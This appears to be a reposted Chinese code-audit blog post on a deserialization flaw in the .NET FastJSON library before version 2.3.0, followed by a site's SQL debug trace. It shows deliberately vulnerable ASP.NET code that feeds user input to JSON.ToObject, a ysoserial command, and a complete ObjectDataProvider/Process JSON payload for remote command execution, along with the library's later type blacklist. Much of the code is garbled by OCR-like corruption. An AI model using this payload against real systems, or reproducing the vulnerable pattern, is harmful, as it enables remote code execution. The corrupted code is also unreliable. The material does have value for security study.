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【代码审计】Fastjson_net反序列化

  • 2026-02-05 11:25:15
【代码审计】Fastjson_net反序列化

Fastjson_net反序列化

FastJson.NET 是一个第三方的 JSON 序列化/反序列化库,这是一个用于读写json的.Net 组件,使用内置方法JSON.ToJSON可以快速序列化.Net对象,实现.net中所有类型(对象,基本数据类型等)和json之间的转换。

漏洞触发

. ToObject

利用链

ObjectDataProvider

限制

FastJSON 2.3.0 之前的版本存在反序列化漏洞

导入Fastjson dll

下载指定版本的dll

通常情况下,通过 NuGet 安装 FastJSON 时,它会获取最新的稳定版本。

如其中需要使用特定版本的 FastJSON,可以访问网址

https://www.nuget.org/packages/fastJSON/2.2.4

找到所需版本的 FastJSON,下载对应的 NuGet 包。NuGet 包是 .nupkg 文件。

解压 NuGet 包: 将 .nupkg 文件更改为 .zip 并解压缩。可以在解压后的文件夹中找到 FastJSON的 DLL 文件。

将 DLL 添加到项目: 打开你的项目,将 DLL 文件添加到项目中。在 Visual Studio 中,右键单击项目,选择“添加 $^ { \prime \prime } >$ “现有项目”,然后选择 FastJSON 的 DLL 文件。

设置 DLL 属性: 确保 FastJSON 的 DLL 文件的 "复制到输出目录" 属性设置为 "始终复制",这样它将在构建时复制到输出目录。

添加引用:在解决方案资源管理器中找到项目,右键单击 "添加",然后选择 "引用"。在弹出的对话框中,选择 "浏览" 选项,找到并添加DLL 文件。在文件的顶部使用 using 语句导入 DLL 提供的命名空间即可。

序列化与反序列化

前端代码【Fastjson.aspx】

<@ Page Language  $=$  "C###"AutoEventWireup  $\equiv$  "true"CodeBehind  $\equiv$  "Fastjson.aspx.cs" Inherits  $=$  "Fastjson_net.Fastjson"  $\%>$    

后端序列化代码【Fastjson.aspx.cs】

usingSystem;   usingSystem.Collections.Generic;   usingSystem.Diagnostics;   usingSystem.Linq;   usingSystem.Web;   usingSystem.Web.UI;   usingSystem.Web.UI.WebControls;   usingfastJSON;   usingNewtonsoftazon"& serialization;   usingSystem.Windows.Data;   namespaceFastjson_net/\*publicclassPerson { publicstringnamepublicstringage; }*/publicpartialclassFastjson : System.Web.UI.PageprotectedvoidPage_Load(objectsenderEventArgse) { protectedvoidButton_Key_Click(objectsenderEventArgse) { //序列化 /\* Person p = new Person() { name = "test", age = "123" };/* Process start = new Process(); start.StartInfo FileName = "cmd.exe"; start.StartInfo.Argumnts = "/c calc.exe"; ObjectDataProvider odp = new ObjectDataProvider(); odp.ObjectName = "Start"; odp.ObjectInstance = start; JSONParameters odp2 = new JSONParameters(); odp2 藏Add(typeof(IntPtr)); string jsonstr = JSON.ToString(odp); TextArea1.Text = jsonstr; } }
using System;   using System.Collections.Generic;   using System.Diagnostics;   using System.Linq;   using System.Web;   using System.Web.UI;   using System.Web.UI.WebControls;   using fastJSON;   using NewtonsoftJsonpretty;   using System.Windows.Data;   namespace Fastjson_net   { public partial class Fastjson : System.Web.UI.Page protected void Page_Load(object sender, EventArgs e) { protected void Button_Key_Click(object sender, EventArgs e) { //反序列化 string payload  $\equiv$  TextArea.Text; JSON.ToObject(payload); } }

FastJson.NET 在反序列化时对 IntPtr 类型的处理可能会存在问题,因为 IntPtr 是一个平台相关的类型,其值在不同平台上可能不同。因此,FastJson.NET 在处理 IntPtr 类型时可能会引发System.InvalidCastException 异常。

FastJson.NET 不支持直接将 JSON 字符串反序列化为 System.RuntimeType 类型。这是因为System.RuntimeType 是运行时类型,而 FastJson.NET 主要用于 POCO 类型(Plain Old CLRObject)。在 JSON 中,$type 字段指定了要创建的类型,而 FastJson.NET 无法直接创建System.RuntimeType。

一般来说,System.RuntimeType 是在运行时由 .NET 框架创建和管理的,而不是用户代码明确实例化的。

FastJSON版本 > 2.3.0 中增加了BlackListType来检查type值

黑名单内的type类型有

"system.configuration.install.assemblyinstaller",  "system_activities.presentation.workflowdesigner",  "system.windows.resourcedictionary",  "system.windows.data(objectdataprovider",  "system.windows/forms/bindingsource",  "mozilla.exchange.management.systemmanager.winforms.exchangesettingsprovider"

这时用黑名单内的攻击链就会触发规则

远程命令执行利用

ysoserial.exe -g ObjectDataProvider -f fastjson -c calc
{"$types": {"System.Windows.Data.ObjectDataProvider, PresentationFramework,Version=4.0.0.0Culture=neutralPublicKeyToken=31bf3856ad364e35":"1","System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089":"2","System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0,Culture=neutralPublicKeyToken=b77a5c561934e089":"5"    },"$type":"1","ObjectInstance": {"$type":"2","StartInfo": {"$type":"5","Arguments":"/c calc.exe","FileName":"cmd.exe",        },    },"MethodName":"Start",}

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  1. CONNECT:[ UseTime:0.000443s ] mysql:host=127.0.0.1;port=3306;dbname=f_mffb;charset=utf8mb4
  2. SHOW FULL COLUMNS FROM `fenlei` [ RunTime:0.000713s ]
  3. SELECT * FROM `fenlei` WHERE `fid` = 0 [ RunTime:0.000255s ]
  4. SELECT * FROM `fenlei` WHERE `fid` = 63 [ RunTime:0.000260s ]
  5. SHOW FULL COLUMNS FROM `set` [ RunTime:0.000509s ]
  6. SELECT * FROM `set` [ RunTime:0.000203s ]
  7. SHOW FULL COLUMNS FROM `article` [ RunTime:0.000584s ]
  8. SELECT * FROM `article` WHERE `id` = 473480 LIMIT 1 [ RunTime:0.000699s ]
  9. UPDATE `article` SET `lasttime` = 1770443318 WHERE `id` = 473480 [ RunTime:0.005551s ]
  10. SELECT * FROM `fenlei` WHERE `id` = 65 LIMIT 1 [ RunTime:0.000228s ]
  11. SELECT * FROM `article` WHERE `id` < 473480 ORDER BY `id` DESC LIMIT 1 [ RunTime:0.000420s ]
  12. SELECT * FROM `article` WHERE `id` > 473480 ORDER BY `id` ASC LIMIT 1 [ RunTime:0.000344s ]
  13. SELECT * FROM `article` WHERE `id` < 473480 ORDER BY `id` DESC LIMIT 10 [ RunTime:0.005315s ]
  14. SELECT * FROM `article` WHERE `id` < 473480 ORDER BY `id` DESC LIMIT 10,10 [ RunTime:0.001855s ]
  15. SELECT * FROM `article` WHERE `id` < 473480 ORDER BY `id` DESC LIMIT 20,10 [ RunTime:0.001040s ]
0.102471s